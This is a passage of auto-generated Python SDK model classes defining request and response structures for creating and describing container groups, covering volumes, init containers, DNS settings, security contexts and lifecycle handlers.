result['EnvironmentVar'].append(k.to_map() if k else None) else: result['EnvironmentVar'] = None if self.readiness_probe is not None: result['ReadinessProbe'] = self.readiness_probe.to_map() else: result['ReadinessProbe'] = None if self.liveness_probe is not None: result['LivenessProbe'] = self.liveness_probe.to_map() else: result['LivenessProbe'] = None if self.security_context is not None: result['SecurityContext'] = self.security_context.to_map() else: result['SecurityContext'] = None result['Stdin'] = self.stdin result['StdinOnce'] = self.stdin_once result['Tty'] = self.tty result['Gpu'] = self.gpu result['LifecyclePostStartHandlerHttpGetHost'] = self.lifecycle_post_start_handler_http_get_host result['LifecyclePostStartHandlerHttpGetPort'] = self.lifecycle_post_start_handler_http_get_port result['LifecyclePostStartHandlerHttpGetPath'] = self.lifecycle_post_start_handler_http_get_path result['LifecyclePostStartHandlerHttpGetScheme'] = self.lifecycle_post_start_handler_http_get_scheme result['LifecyclePostStartHandlerHttpGetHttpHeader'] = [] if self.lifecycle_post_start_handler_http_get_http_header is not None: for k in self.lifecycle_post_start_handler_http_get_http_header: result['LifecyclePostStartHandlerHttpGetHttpHeader'].append(k.to_map() if k else None) else: result['LifecyclePostStartHandlerHttpGetHttpHeader'] = None result['LifecyclePostStartHandlerExec'] = [] if self.lifecycle_post_start_handler_exec is not None: for k in self.lifecycle_post_start_handler_exec: result['LifecyclePostStartHandlerExec'].append(k) else: result['LifecyclePostStartHandlerExec'] = None result['LifecyclePostStartHandlerTcpSocketHost'] = self.lifecycle_post_start_handler_tcp_socket_host result['LifecyclePostStartHandlerTcpSocketPort'] = self.lifecycle_post_start_handler_tcp_socket_port result['LifecyclePreStopHandlerHttpGetHost'] = self.lifecycle_pre_stop_handler_http_get_host result['LifecyclePreStopHandlerHttpGetPort'] = self.lifecycle_pre_stop_handler_http_get_port result['LifecyclePreStopHandlerHttpGetPath'] = self.lifecycle_pre_stop_handler_http_get_path result['LifecyclePreStopHandlerHttpGetScheme'] = self.lifecycle_pre_stop_handler_http_get_scheme result['LifecyclePreStopHandlerHttpGetHttpHeader'] = [] if self.lifecycle_pre_stop_handler_http_get_http_header is not None: for k in self.lifecycle_pre_stop_handler_http_get_http_header: result['LifecyclePreStopHandlerHttpGetHttpHeader'].append(k.to_map() if k else None) else: result['LifecyclePreStopHandlerHttpGetHttpHeader'] = None result['LifecyclePreStopHandlerExec'] = [] if self.lifecycle_pre_stop_handler_exec is not None: for k in self.lifecycle_pre_stop_handler_exec: result['LifecyclePreStopHandlerExec'].append(k) else: result['LifecyclePreStopHandlerExec'] = None result['LifecyclePreStopHandlerTcpSocketHost'] = self.lifecycle_pre_stop_handler_tcp_socket_host result['LifecyclePreStopHandlerTcpSocketPort'] = self.lifecycle_pre_stop_handler_tcp_socket_port result['TerminationMessagePath'] = self.termination_message_path result['TerminationMessagePolicy'] = self.termination_message_policy return result def from_map(self, map={}): self.image = map.get('Image') self.name = map.get('Name') self.cpu = map.get('Cpu') self.memory = map.get('Memory') self.working_dir = map.get('WorkingDir') self.image_pull_policy = map.get('ImagePullPolicy') self.command = [] if map.get('Command') is not None: for k in map.get('Command'): self.command.append(k) else: self.command = None self.arg = [] if map.get('Arg') is not None: for k in map.get('Arg'): self.arg.append(k) else: self.arg = None self.volume_mount = [] if map.get('VolumeMount') is not None: for k in map.get('VolumeMount'): temp_model = CreateContainerGroupRequestContainerVolumeMount() temp_model = temp_model.from_map(k) self.volume_mount.append(temp_model) else: self.volume_mount = None self.port = [] if map.get('Port') is not None: for k in map.get('Port'): temp_model = CreateContainerGroupRequestContainerPort() temp_model = temp_model.from_map(k) self.port.append(temp_model) else: self.port = None self.environment_var = [] if map.get('EnvironmentVar') is not None: for k in map.get('EnvironmentVar'): temp_model = CreateContainerGroupRequestContainerEnvironmentVar() temp_model = temp_model.from_map(k) self.environment_var.append(temp_model) else: self.environment_var = None if map.get('ReadinessProbe') is not None: temp_model = CreateContainerGroupRequestContainerReadinessProbe() self.readiness_probe = temp_model.from_map(map['ReadinessProbe']) else: self.readiness_probe = None if map.get('LivenessProbe') is not None: temp_model = CreateContainerGroupRequestContainerLivenessProbe() self.liveness_probe = temp_model.from_map(map['LivenessProbe']) else: self.liveness_probe = None if map.get('SecurityContext') is not None: temp_model = CreateContainerGroupRequestContainerSecurityContext() self.security_context = temp_model.from_map(map['SecurityContext']) else: self.security_context = None self.stdin = map.get('Stdin') self.stdin_once = map.get('StdinOnce') self.tty = map.get('Tty') self.gpu = map.get('Gpu') self.lifecycle_post_start_handler_http_get_host = map.get('LifecyclePostStartHandlerHttpGetHost') self.lifecycle_post_start_handler_http_get_port = map.get('LifecyclePostStartHandlerHttpGetPort') self.lifecycle_post_start_handler_http_get_path = map.get('LifecyclePostStartHandlerHttpGetPath') self.lifecycle_post_start_handler_http_get_scheme = map.get('LifecyclePostStartHandlerHttpGetScheme') self.lifecycle_post_start_handler_http_get_http_header = [] if map.get('LifecyclePostStartHandlerHttpGetHttpHeader') is not None: for k in map.get('LifecyclePostStartHandlerHttpGetHttpHeader'): temp_model = CreateContainerGroupRequestContainerLifecyclePostStartHandlerHttpGetHttpHeader() temp_model = temp_model.from_map(k) self.lifecycle_post_start_handler_http_get_http_header.append(temp_model) else: self.lifecycle_post_start_handler_http_get_http_header = None self.lifecycle_post_start_handler_exec = [] if map.get('LifecyclePostStartHandlerExec') is not None: for k in map.get('LifecyclePostStartHandlerExec'): self.lifecycle_post_start_handler_exec.append(k) else: self.lifecycle_post_start_handler_exec = None self.lifecycle_post_start_handler_tcp_socket_host = map.get('LifecyclePostStartHandlerTcpSocketHost') self.lifecycle_post_start_handler_tcp_socket_port = map.get('LifecyclePostStartHandlerTcpSocketPort') self.lifecycle_pre_stop_handler_http_get_host = map.get('LifecyclePreStopHandlerHttpGetHost') self.lifecycle_pre_stop_handler_http_get_port = map.get('LifecyclePreStopHandlerHttpGetPort') self.lifecycle_pre_stop_handler_http_get_path = map.get('LifecyclePreStopHandlerHttpGetPath') self.lifecycle_pre_stop_handler_http_get_scheme = map.get('LifecyclePreStopHandlerHttpGetScheme') self.lifecycle_pre_stop_handler_http_get_http_header = [] if map.get('LifecyclePreStopHandlerHttpGetHttpHeader') is not None: for k in map.get('LifecyclePreStopHandlerHttpGetHttpHeader'): temp_model = CreateContainerGroupRequestContainerLifecyclePreStopHandlerHttpGetHttpHeader() temp_model = temp_model.from_map(k) self.lifecycle_pre_stop_handler_http_get_http_header.append(temp_model) else: self.lifecycle_pre_stop_handler_http_get_http_header = None self.lifecycle_pre_stop_handler_exec = [] if map.get('LifecyclePreStopHandlerExec') is not None: for k in map.get('LifecyclePreStopHandlerExec'): self.lifecycle_pre_stop_handler_exec.append(k) else: self.lifecycle_pre_stop_handler_exec = None self.lifecycle_pre_stop_handler_tcp_socket_host = map.get('LifecyclePreStopHandlerTcpSocketHost') self.lifecycle_pre_stop_handler_tcp_socket_port = map.get('LifecyclePreStopHandlerTcpSocketPort') self.termination_message_path = map.get('TerminationMessagePath') self.termination_message_policy = map.get('TerminationMessagePolicy') return self class CreateContainerGroupRequestVolumeNFSVolume(TeaModel): def __init__(self, server=None, path=None, read_only=None): self.server = server self.path = path self.read_only = read_only def validate(self): pass def to_map(self): result = {} result['Server'] = self.server result['Path'] = self.path result['ReadOnly'] = self.read_only return result def from_map(self, map={}): self.server = map.get('Server') self.path = map.get('Path') self.read_only = map.get('ReadOnly') return self class CreateContainerGroupRequestVolumeConfigFileVolumeConfigFileToPath(TeaModel): def __init__(self, content=None, path=None, mode=None): self.content = content self.path = path self.mode = mode def validate(self): pass def to_map(self): result = {} result['Content'] = self.content result['Path'] = self.path result['Mode'] = self.mode return result def from_map(self, map={}): self.content = map.get('Content') self.path = map.get('Path') self.mode = map.get('Mode') return self class CreateContainerGroupRequestVolumeConfigFileVolume(TeaModel): def __init__(self, config_file_to_path=None, default_mode=None): self.config_file_to_path = [] self.default_mode = default_mode def validate(self): self.validate_required(self.config_file_to_path, 'config_file_to_path') if self.config_file_to_path: for k in self.config_file_to_path: if k : k.validate() def to_map(self): result = {} result['ConfigFileToPath'] = [] if self.config_file_to_path is not None: for k in self.config_file_to_path: result['ConfigFileToPath'].append(k.to_map() if k else None) else: result['ConfigFileToPath'] = None result['DefaultMode'] = self.default_mode return result def from_map(self, map={}): self.config_file_to_path = [] if map.get('ConfigFileToPath') is not None: for k in map.get('ConfigFileToPath'): temp_model = CreateContainerGroupRequestVolumeConfigFileVolumeConfigFileToPath() temp_model = temp_model.from_map(k) self.config_file_to_path.append(temp_model) else: self.config_file_to_path = None self.default_mode = map.get('DefaultMode') return self class CreateContainerGroupRequestVolumeEmptyDirVolume(TeaModel): def __init__(self, medium=None): self.medium = medium def validate(self): pass def to_map(self): result = {} result['Medium'] = self.medium return result def from_map(self, map={}): self.medium = map.get('Medium') return self class CreateContainerGroupRequestVolumeDiskVolume(TeaModel): def __init__(self, disk_id=None, fs_type=None, disk_size=None): self.disk_id = disk_id self.fs_type = fs_type self.disk_size = disk_size def validate(self): pass def to_map(self): result = {} result['DiskId'] = self.disk_id result['FsType'] = self.fs_type result['DiskSize'] = self.disk_size return result def from_map(self, map={}): self.disk_id = map.get('DiskId') self.fs_type = map.get('FsType') self.disk_size = map.get('DiskSize') return self class CreateContainerGroupRequestVolumeFlexVolume(TeaModel): def __init__(self, driver=None, fs_type=None, options=None): self.driver = driver self.fs_type = fs_type self.options = options def validate(self): pass def to_map(self): result = {} result['Driver'] = self.driver result['FsType'] = self.fs_type result['Options'] = self.options return result def from_map(self, map={}): self.driver = map.get('Driver') self.fs_type = map.get('FsType') self.options = map.get('Options') return self class CreateContainerGroupRequestVolumeHostPathVolume(TeaModel): def __init__(self, type=None, path=None): self.type = type self.path = path def validate(self): pass def to_map(self): result = {} result['Type'] = self.type result['Path'] = self.path return result def from_map(self, map={}): self.type = map.get('Type') self.path = map.get('Path') return self class CreateContainerGroupRequestVolume(TeaModel): def __init__(self, name=None, nfsvolume=None, config_file_volume=None, type=None, empty_dir_volume=None, disk_volume=None, flex_volume=None, host_path_volume=None): self.name = name self.nfsvolume = nfsvolume self.config_file_volume = config_file_volume self.type = type self.empty_dir_volume = empty_dir_volume self.disk_volume = disk_volume self.flex_volume = flex_volume self.host_path_volume = host_path_volume def validate(self): self.validate_required(self.nfsvolume, 'nfsvolume') if self.nfsvolume: self.nfsvolume.validate() self.validate_required(self.config_file_volume, 'config_file_volume') if self.config_file_volume: self.config_file_volume.validate() self.validate_required(self.empty_dir_volume, 'empty_dir_volume') if self.empty_dir_volume: self.empty_dir_volume.validate() self.validate_required(self.disk_volume, 'disk_volume') if self.disk_volume: self.disk_volume.validate() self.validate_required(self.flex_volume, 'flex_volume') if self.flex_volume: self.flex_volume.validate() self.validate_required(self.host_path_volume, 'host_path_volume') if self.host_path_volume: self.host_path_volume.validate() def to_map(self): result = {} result['Name'] = self.name if self.nfsvolume is not None: result['NFSVolume'] = self.nfsvolume.to_map() else: result['NFSVolume'] = None if self.config_file_volume is not None: result['ConfigFileVolume'] = self.config_file_volume.to_map() else: result['ConfigFileVolume'] = None result['Type'] = self.type if self.empty_dir_volume is not None: result['EmptyDirVolume'] = self.empty_dir_volume.to_map() else: result['EmptyDirVolume'] = None if self.disk_volume is not None: result['DiskVolume'] = self.disk_volume.to_map() else: result['DiskVolume'] = None if self.flex_volume is not None: result['FlexVolume'] = self.flex_volume.to_map() else: result['FlexVolume'] = None if self.host_path_volume is not None: result['HostPathVolume'] = self.host_path_volume.to_map() else: result['HostPathVolume'] = None return result def from_map(self, map={}): self.name = map.get('Name') if map.get('NFSVolume') is not None: temp_model = CreateContainerGroupRequestVolumeNFSVolume() self.nfsvolume = temp_model.from_map(map['NFSVolume']) else: self.nfsvolume = None if map.get('ConfigFileVolume') is not None: temp_model = CreateContainerGroupRequestVolumeConfigFileVolume() self.config_file_volume = temp_model.from_map(map['ConfigFileVolume']) else: self.config_file_volume = None self.type = map.get('Type') if map.get('EmptyDirVolume') is not None: temp_model = CreateContainerGroupRequestVolumeEmptyDirVolume() self.empty_dir_volume = temp_model.from_map(map['EmptyDirVolume']) else: self.empty_dir_volume = None if map.get('DiskVolume') is not None: temp_model = CreateContainerGroupRequestVolumeDiskVolume() self.disk_volume = temp_model.from_map(map['DiskVolume']) else: self.disk_volume = None if map.get('FlexVolume') is not None: temp_model = CreateContainerGroupRequestVolumeFlexVolume() self.flex_volume = temp_model.from_map(map['FlexVolume']) else: self.flex_volume = None if map.get('HostPathVolume') is not None: temp_model = CreateContainerGroupRequestVolumeHostPathVolume() self.host_path_volume = temp_model.from_map(map['HostPathVolume']) else: self.host_path_volume = None return self class CreateContainerGroupRequestInitContainerVolumeMount(TeaModel): def __init__(self, mount_path=None, read_only=None, name=None, sub_path=None): self.mount_path = mount_path self.read_only = read_only self.name = name self.sub_path = sub_path def validate(self): pass def to_map(self): result = {} result['MountPath'] = self.mount_path result['ReadOnly'] = self.read_only result['Name'] = self.name result['SubPath'] = self.sub_path return result def from_map(self, map={}): self.mount_path = map.get('MountPath') self.read_only = map.get('ReadOnly') self.name = map.get('Name') self.sub_path = map.get('SubPath') return self class CreateContainerGroupRequestInitContainerPort(TeaModel): def __init__(self, protocol=None, port=None): self.protocol = protocol self.port = port def validate(self): pass def to_map(self): result = {} result['Protocol'] = self.protocol result['Port'] = self.port return result def from_map(self, map={}): self.protocol = map.get('Protocol') self.port = map.get('Port') return self class CreateContainerGroupRequestInitContainerEnvironmentVarFieldRef(TeaModel): def __init__(self, field_path=None): self.field_path = field_path def validate(self): pass def to_map(self): result = {} result['FieldPath'] = self.field_path return result def from_map(self, map={}): self.field_path = map.get('FieldPath') return self class CreateContainerGroupRequestInitContainerEnvironmentVar(TeaModel): def __init__(self, key=None, value=None, field_ref=None): self.key = key self.value = value self.field_ref = field_ref def validate(self): self.validate_required(self.field_ref, 'field_ref') if self.field_ref: self.field_ref.validate() def to_map(self): result = {} result['Key'] = self.key result['Value'] = self.value if self.field_ref is not None: result['FieldRef'] = self.field_ref.to_map() else: result['FieldRef'] = None return result def from_map(self, map={}): self.key = map.get('Key') self.value = map.get('Value') if map.get('FieldRef') is not None: temp_model = CreateContainerGroupRequestInitContainerEnvironmentVarFieldRef() self.field_ref = temp_model.from_map(map['FieldRef']) else: self.field_ref = None return self class CreateContainerGroupRequestInitContainerSecurityContextCapability(TeaModel): def __init__(self, add=None): self.add = [] def validate(self): self.validate_required(self.add, 'add') def to_map(self): result = {} result['Add'] = [] if self.add is not None: for k in self.add: result['Add'].append(k) else: result['Add'] = None return result def from_map(self, map={}): self.add = [] if map.get('Add') is not None: for k in map.get('Add'): self.add.append(k) else: self.add = None return self class CreateContainerGroupRequestInitContainerSecurityContext(TeaModel): def __init__(self, capability=None, read_only_root_filesystem=None, run_as_user=None): self.capability = capability self.read_only_root_filesystem = read_only_root_filesystem self.run_as_user = run_as_user def validate(self): self.validate_required(self.capability, 'capability') if self.capability: self.capability.validate() def to_map(self): result = {} if self.capability is not None: result['Capability'] = self.capability.to_map() else: result['Capability'] = None result['ReadOnlyRootFilesystem'] = self.read_only_root_filesystem result['RunAsUser'] = self.run_as_user return result def from_map(self, map={}): if map.get('Capability') is not None: temp_model = CreateContainerGroupRequestInitContainerSecurityContextCapability() self.capability = temp_model.from_map(map['Capability']) else: self.capability = None self.read_only_root_filesystem = map.get('ReadOnlyRootFilesystem') self.run_as_user = map.get('RunAsUser') return self class CreateContainerGroupRequestInitContainer(TeaModel): def __init__(self, name=None, image=None, cpu=None, memory=None, working_dir=None, image_pull_policy=None, command=None, arg=None, volume_mount=None, port=None, environment_var=None, security_context=None, gpu=None, termination_message_path=None, termination_message_policy=None): self.name = name self.image = image self.cpu = cpu self.memory = memory self.working_dir = working_dir self.image_pull_policy = image_pull_policy self.command = [] self.arg = [] self.volume_mount = [] self.port = [] self.environment_var = [] self.security_context = security_context self.gpu = gpu self.termination_message_path = termination_message_path self.termination_message_policy = termination_message_policy def validate(self): self.validate_required(self.command, 'command') self.validate_required(self.arg, 'arg') self.validate_required(self.volume_mount, 'volume_mount') if self.volume_mount: for k in self.volume_mount: if k : k.validate() self.validate_required(self.port, 'port') if self.port: for k in self.port: if k : k.validate() self.validate_required(self.environment_var, 'environment_var') if self.environment_var: for k in self.environment_var: if k : k.validate() self.validate_required(self.security_context, 'security_context') if self.security_context: self.security_context.validate() def to_map(self): result = {} result['Name'] = self.name result['Image'] = self.image result['Cpu'] = self.cpu result['Memory'] = self.memory result['WorkingDir'] = self.working_dir result['ImagePullPolicy'] = self.image_pull_policy result['Command'] = [] if self.command is not None: for k in self.command: result['Command'].append(k) else: result['Command'] = None result['Arg'] = [] if self.arg is not None: for k in self.arg: result['Arg'].append(k) else: result['Arg'] = None result['VolumeMount'] = [] if self.volume_mount is not None: for k in self.volume_mount: result['VolumeMount'].append(k.to_map() if k else None) else: result['VolumeMount'] = None result['Port'] = [] if self.port is not None: for k in self.port: result['Port'].append(k.to_map() if k else None) else: result['Port'] = None result['EnvironmentVar'] = [] if self.environment_var is not None: for k in self.environment_var: result['EnvironmentVar'].append(k.to_map() if k else None) else: result['EnvironmentVar'] = None if self.security_context is not None: result['SecurityContext'] = self.security_context.to_map() else: result['SecurityContext'] = None result['Gpu'] = self.gpu result['TerminationMessagePath'] = self.termination_message_path result['TerminationMessagePolicy'] = self.termination_message_policy return result def from_map(self, map={}): self.name = map.get('Name') self.image = map.get('Image') self.cpu = map.get('Cpu') self.memory = map.get('Memory') self.working_dir = map.get('WorkingDir') self.image_pull_policy = map.get('ImagePullPolicy') self.command = [] if map.get('Command') is not None: for k in map.get('Command'): self.command.append(k) else: self.command = None self.arg = [] if map.get('Arg') is not None: for k in map.get('Arg'): self.arg.append(k) else: self.arg = None self.volume_mount = [] if map.get('VolumeMount') is not None: for k in map.get('VolumeMount'): temp_model = CreateContainerGroupRequestInitContainerVolumeMount() temp_model = temp_model.from_map(k) self.volume_mount.append(temp_model) else: self.volume_mount = None self.port = [] if map.get('Port') is not None: for k in map.get('Port'): temp_model = CreateContainerGroupRequestInitContainerPort() temp_model = temp_model.from_map(k) self.port.append(temp_model) else: self.port = None self.environment_var = [] if map.get('EnvironmentVar') is not None: for k in map.get('EnvironmentVar'): temp_model = CreateContainerGroupRequestInitContainerEnvironmentVar() temp_model = temp_model.from_map(k) self.environment_var.append(temp_model) else: self.environment_var = None if map.get('SecurityContext') is not None: temp_model = CreateContainerGroupRequestInitContainerSecurityContext() self.security_context = temp_model.from_map(map['SecurityContext']) else: self.security_context = None self.gpu = map.get('Gpu') self.termination_message_path = map.get('TerminationMessagePath') self.termination_message_policy = map.get('TerminationMessagePolicy') return self class CreateContainerGroupRequestDnsConfigOption(TeaModel): def __init__(self, name=None, value=None): self.name = name self.value = value def validate(self): pass def to_map(self): result = {} result['Name'] = self.name result['Value'] = self.value return result def from_map(self, map={}): self.name = map.get('Name') self.value = map.get('Value') return self class CreateContainerGroupRequestDnsConfig(TeaModel): def __init__(self, name_server=None, search=None, option=None): self.name_server = [] self.search = [] self.option = [] def validate(self): if self.option: for k in self.option: if k : k.validate() def to_map(self): result = {} result['NameServer'] = [] if self.name_server is not None: for k in self.name_server: result['NameServer'].append(k) else: result['NameServer'] = None result['Search'] = [] if self.search is not None: for k in self.search: result['Search'].append(k) else: result['Search'] = None result['Option'] = [] if self.option is not None: for k in self.option: result['Option'].append(k.to_map() if k else None) else: result['Option'] = None return result def from_map(self, map={}): self.name_server = [] if map.get('NameServer') is not None: for k in map.get('NameServer'): self.name_server.append(k) else: self.name_server = None self.search = [] if map.get('Search') is not None: for k in map.get('Search'): self.search.append(k) else: self.search = None self.option = [] if map.get('Option') is not None: for k in map.get('Option'): temp_model = CreateContainerGroupRequestDnsConfigOption() temp_model = temp_model.from_map(k) self.option.append(temp_model) else: self.option = None return self class CreateContainerGroupRequestHostAliase(TeaModel): def __init__(self, ip=None, hostname=None): self.ip = ip self.hostname = [] def validate(self): self.validate_required(self.hostname, 'hostname') def to_map(self): result = {} result['Ip'] = self.ip result['Hostname'] = [] if self.hostname is not None: for k in self.hostname: result['Hostname'].append(k) else: result['Hostname'] = None return result def from_map(self, map={}): self.ip = map.get('Ip') self.hostname = [] if map.get('Hostname') is not None: for k in map.get('Hostname'): self.hostname.append(k) else: self.hostname = None return self class CreateContainerGroupRequestArn(TeaModel): def __init__(self, role_arn=None, role_type=None, assume_role_for=None): self.role_arn = role_arn self.role_type = role_type self.assume_role_for = assume_role_for def validate(self): pass def to_map(self): result = {} result['RoleArn'] = self.role_arn result['RoleType'] = self.role_type result['AssumeRoleFor'] = self.assume_role_for return result def from_map(self, map={}): self.role_arn = map.get('RoleArn') self.role_type = map.get('RoleType') self.assume_role_for = map.get('AssumeRoleFor') return self class CreateContainerGroupRequestSecurityContextSysctl(TeaModel): def __init__(self, name=None, value=None): self.name = name self.value = value def validate(self): pass def to_map(self): result = {} result['Name'] = self.name result['Value'] = self.value return result def from_map(self, map={}): self.name = map.get('Name') self.value = map.get('Value') return self class CreateContainerGroupRequestSecurityContext(TeaModel): def __init__(self, sysctl=None): self.sysctl = [] def validate(self): if self.sysctl: for k in self.sysctl: if k : k.validate() def to_map(self): result = {} result['Sysctl'] = [] if self.sysctl is not None: for k in self.sysctl: result['Sysctl'].append(k.to_map() if k else None) else: result['Sysctl'] = None return result def from_map(self, map={}): self.sysctl = [] if map.get('Sysctl') is not None: for k in map.get('Sysctl'): temp_model = CreateContainerGroupRequestSecurityContextSysctl() temp_model = temp_model.from_map(k) self.sysctl.append(temp_model) else: self.sysctl = None return self class CreateContainerGroupResponse(TeaModel): def __init__(self, request_id=None, container_group_id=None): self.request_id = request_id self.container_group_id = container_group_id def validate(self): self.validate_required(self.request_id, 'request_id') self.validate_required(self.container_group_id, 'container_group_id') def to_map(self): result = {} result['RequestId'] = self.request_id result['ContainerGroupId'] = self.container_group_id return result def from_map(self, map={}): self.request_id = map.get('RequestId') self.container_group_id = map.get('ContainerGroupId') return self class DescribeContainerGroupsRequest(TeaModel): def __init__(self, region_id=None, zone_id=None, v_switch_id=None, next_token=None, limit=None, tag=None, container_group_ids=None, container_group_name=None, status=None, resource_group_id=None, with_event=None): self.region_id = region_id self.zone_id = zone_id self.v_switch_id = v_switch_id self.next_token = next_token self.limit = limit self.tag = [] self.container_group_ids = container_group_ids self.container_group_name = container_group_name self.status = status self.resource_group_id = resource_group_id self.with_event = with_event def validate(self): self.validate_required(self.region_id, 'region_id') if self.tag: for k in self.tag: if k : k.validate() def to_map(self): result = {} result['RegionId'] = self.region_id result['ZoneId'] = self.zone_id result['VSwitchId'] = self.v_switch_id result['NextToken'] = self.next_token result['Limit'] = self.limit result['Tag'] = [] if self.tag is not None: for k in self.tag: result['Tag'].append(k.to_map() if k else None) else: result['Tag'] = None result['ContainerGroupIds'] = self.container_group_ids result['ContainerGroupName'] = self.container_group_name result['Status'] = self.status result['ResourceGroupId'] = self.resource_group_id result['WithEvent'] = self.with_event return result def from_map(self, map={}): self.region_id = map.get('RegionId') self.zone_id = map.get('ZoneId') self.v_switch_id = map.get('VSwitchId') self.next_token = map.get('NextToken') self.limit = map.get('Limit') self.tag = [] if map.get('Tag') is not None: for k in map.get('Tag'): temp_model = DescribeContainerGroupsRequestTag() temp_model = temp_model.from_map(k) self.tag.append(temp_model) else: self.tag = None self.container_group_ids = map.get('ContainerGroupIds') self.container_group_name = map.get('ContainerGroupName') self.status = map.get('Status') self.resource_group_id = map.get('ResourceGroupId') self.with_event = map.get('WithEvent') return self class DescribeContainerGroupsRequestTag(TeaModel): def __init__(self, key=None, value=None): self.key = key self.value = value def validate(self): self.validate_required(self.key, 'key') self.validate_required(self.value, 'value') def to_map(self): result = {} result['Key'] = self.key result['Value'] = self.value return result def from_map(self, map={}): self.key = map.get('Key') self.value = map.get('Value') return self class DescribeContainerGroupsResponse(TeaModel): def __init__(self, request_id=None, next_token=None, total_count=None, container_groups=None): self.request_id = request_id self.next_token = next_token self.total_count = total_count self.container_groups = [] def validate(self): self.validate_required(self.request_id, 'request_id') self.validate_required(self.next_token, 'next_token') self.validate_required(self.total_count, 'total_count') self.validate_required(self.container_groups, 'container_groups') if self.container_groups: for k in self.container_groups: if k : k.validate() def to_map(self): result = {} result['RequestId'] = self.request_id result['NextToken'] = self.next_token result['TotalCount'] = self.total_count result['ContainerGroups'] = [] if self.container_groups is not None: for k in self.container_groups: result['ContainerGroups'].append(k.to_map() if k else None) else: result['ContainerGroups'] = None return result def from_map(self, map={}): self.request_id = map.get('RequestId') self.next_token = map.get('NextToken') self.total_count = map.get('TotalCount') self.container_groups = [] if map.get('ContainerGroups') is not None: for k in map.get('ContainerGroups'): temp_model = DescribeContainerGroupsResponseContainerGroups() temp_model = temp_model.from_map(k) self.container_groups.append(temp_model) else: self.container_groups = None return self class DescribeContainerGroupsResponseContainerGroupsTags(TeaModel): def __init__(self, key=None, value=None): self.key = key self.value = value def validate(self): self.validate_required(self.key, 'key') self.validate_required(self.value, 'value') def to_map(self): result = {} result['Key'] = self.key result['Value'] = self.value return result def from_map(self, map={}): self.key = map.get('Key') self.value = map.get('Value') return self class DescribeContainerGroupsResponseContainerGroupsEvents(TeaModel): def __init__(self, count=None, type=None, name=None, message=None, first_timestamp=None, last_timestamp=None, reason=None): self.count = count self.type = type self.name = name self.message = message self.first_timestamp = first_timestamp self.last_timestamp = last_timestamp self.reason = reason def validate(self): self.validate_required(self.count, 'count') self.validate_required(self.type, 'type') self.validate_required(self.name, 'name') self.validate_required(self.message, 'message') self.validate_required(self.first_timestamp, 'first_timestamp') self.validate_required(self.last_timestamp, 'last_timestamp') self.validate_required(self.reason, 'reason') def to_map(self): result = {} result['Count'] = self.count result['Type'] = self.type result['Name'] = self.name result['Message'] = self.message result['FirstTimestamp'] = self.first_timestamp result['LastTimestamp'] = self.last_timestamp result['Reason'] = self.reason return result def from_map(self, map={}): self.count = map.get('Count') self.type = map.get('Type') self.name = map.get('Name') self.message = map.get('Message') self.first_timestamp = map.get('FirstTimestamp') self.last_timestamp = map.get('LastTimestamp') self.reason = map.get('Reason') return self class DescribeContainerGroupsResponseContainerGroupsContainersVolumeMounts(TeaModel): def __init__(self, name=None, mount_path=None, read_only=None): self.name = name self.mount_path = mount_path self.read_only = read_only def validate(self): self.validate_required(self.name, 'name') self.validate_required(self.mount_path, 'mount_path') self.validate_required(self.read_only, 'read_only') def to_map(self): result = {} result['Name'] = self.name result['MountPath'] = self.mount_path result['ReadOnly'] = self.read_only return result def from_map(self, map={}): self.name = map.get('Name') self.mount_path = map.get('MountPath') self.read_only = map.get('ReadOnly') return self class DescribeContainerGroupsResponseContainerGroupsContainersPorts(TeaModel): def __init__(self, port=None, protocol=None): self.port = port self.protocol = protocol def validate(self): self.validate_required(self.port, 'port') self.validate_required(self.protocol, 'protocol') def to_map(self): result = {} result['Port'] = self.port result['Protocol'] = self.protocol return result def from_map(self, map={}): self.port = map.get('Port') self.protocol = map.get('Protocol') return self class DescribeContainerGroupsResponseContainerGroupsContainersEnvironmentVarsValueFromFieldRef(TeaModel): def __init__(self, field_path=None): self.field_path = field_path def validate(self): self.validate_required(self.field_path, 'field_path') def to_map(self): result = {} result['FieldPath'] = self.field_path return result def from_map(self, map={}): self.field_path = map.get('FieldPath') return self class DescribeContainerGroupsResponseContainerGroupsContainersEnvironmentVarsValueFrom(TeaModel): def __init__(self, field_ref=None): self.field_ref = field_ref def validate(self): self.validate_required(self.field_ref, 'field_ref') if self.field_ref: self.field_ref.validate() def to_map(self): result = {} if self.field_ref is not None: result['FieldRef'] = self.field_ref.to_map() else: result['FieldRef'] = None return result def from_map(self, map={}): if map.get('FieldRef') is not None: temp_model = DescribeContainerGroupsResponseContainerGroupsContainersEnvironmentVarsValueFromFieldRef() self.field_ref = temp_model.from_map(map['FieldRef']) else: self.field_ref = None return self class DescribeContainerGroupsResponseContainerGroupsContainersEnvironmentVars(TeaModel): def __init__(self, key=None, value=None, value_from=None): self.key = key self.value = value self.value_from = value_from def validate(self): self.validate_required(self.key, 'key') self.validate_required(self.value, 'value') self.validate_required(self.value_from, 'value_from') if self.value_from: self.value_from.validate() def to_map(self): result = {} result['Key'] = self.key result['Value'] = self.value if self.value_from is not None: result['ValueFrom'] = self.value_from.to_map() else: result['ValueFrom'] = None return result def from_map(self, map={}): self.key = map.get('Key') self.value = map.get('Value') if map.get('ValueFrom') is not None: temp_model = DescribeContainerGroupsResponseContainerGroupsContainersEnvironmentVarsValueFrom() self.value_from = temp_model.from_map(map['ValueFrom']) else: self.value_from = None return self class DescribeContainerGroupsResponseContainerGroupsContainersPreviousState(TeaModel): def __init__(self, state=None, detail_status=None, exit_code=None, start_time=None, finish_time=None, reason=None, message=None, signal=None): self.state = state self.detail_status = detail_status self.exit_code = exit_code self.start_time = start_time self.finish_time = finish_time self.reason = reason self.message = message self.signal = signal def validate(self): self.validate_required(self.state, 'state') self.validate_required(self.detail_status, 'detail_status') self.validate_required(self.exit_code, 'exit_code') self.validate_required(self.start_time, 'start_time') self.validate_required(self.finish_time, 'finish_time') self.validate_required(self.reason, 'reason') self.validate_required(self.message, 'message') self.validate_required(self.signal, 'signal') def to_map(self): result = {} result['State'] = self.state result['DetailStatus'] = self.detail_status result['ExitCode'] = self.exit_code result['StartTime'] = self.start_time result['FinishTime'] = self.finish_time result['Reason'] = self.reason result['Message'] = self.message result['Signal'] = self.signal return result def from_map(self, map={}): self.state = map.get('State') self.detail_status = map.get('DetailStatus') self.exit_code = map.get('ExitCode') self.start_time = map.get('StartTime') self.finish_time = map.get('FinishTime') self.reason = map.get('Reason') self.message = map.get('Message') self.signal = map.get('Signal') return self class DescribeContainerGroupsResponseContainerGroupsContainersCurrentState(TeaModel): def __init__(self, state=None, detail_status=None, exit_code=None, start_time=None, finish_time=None, 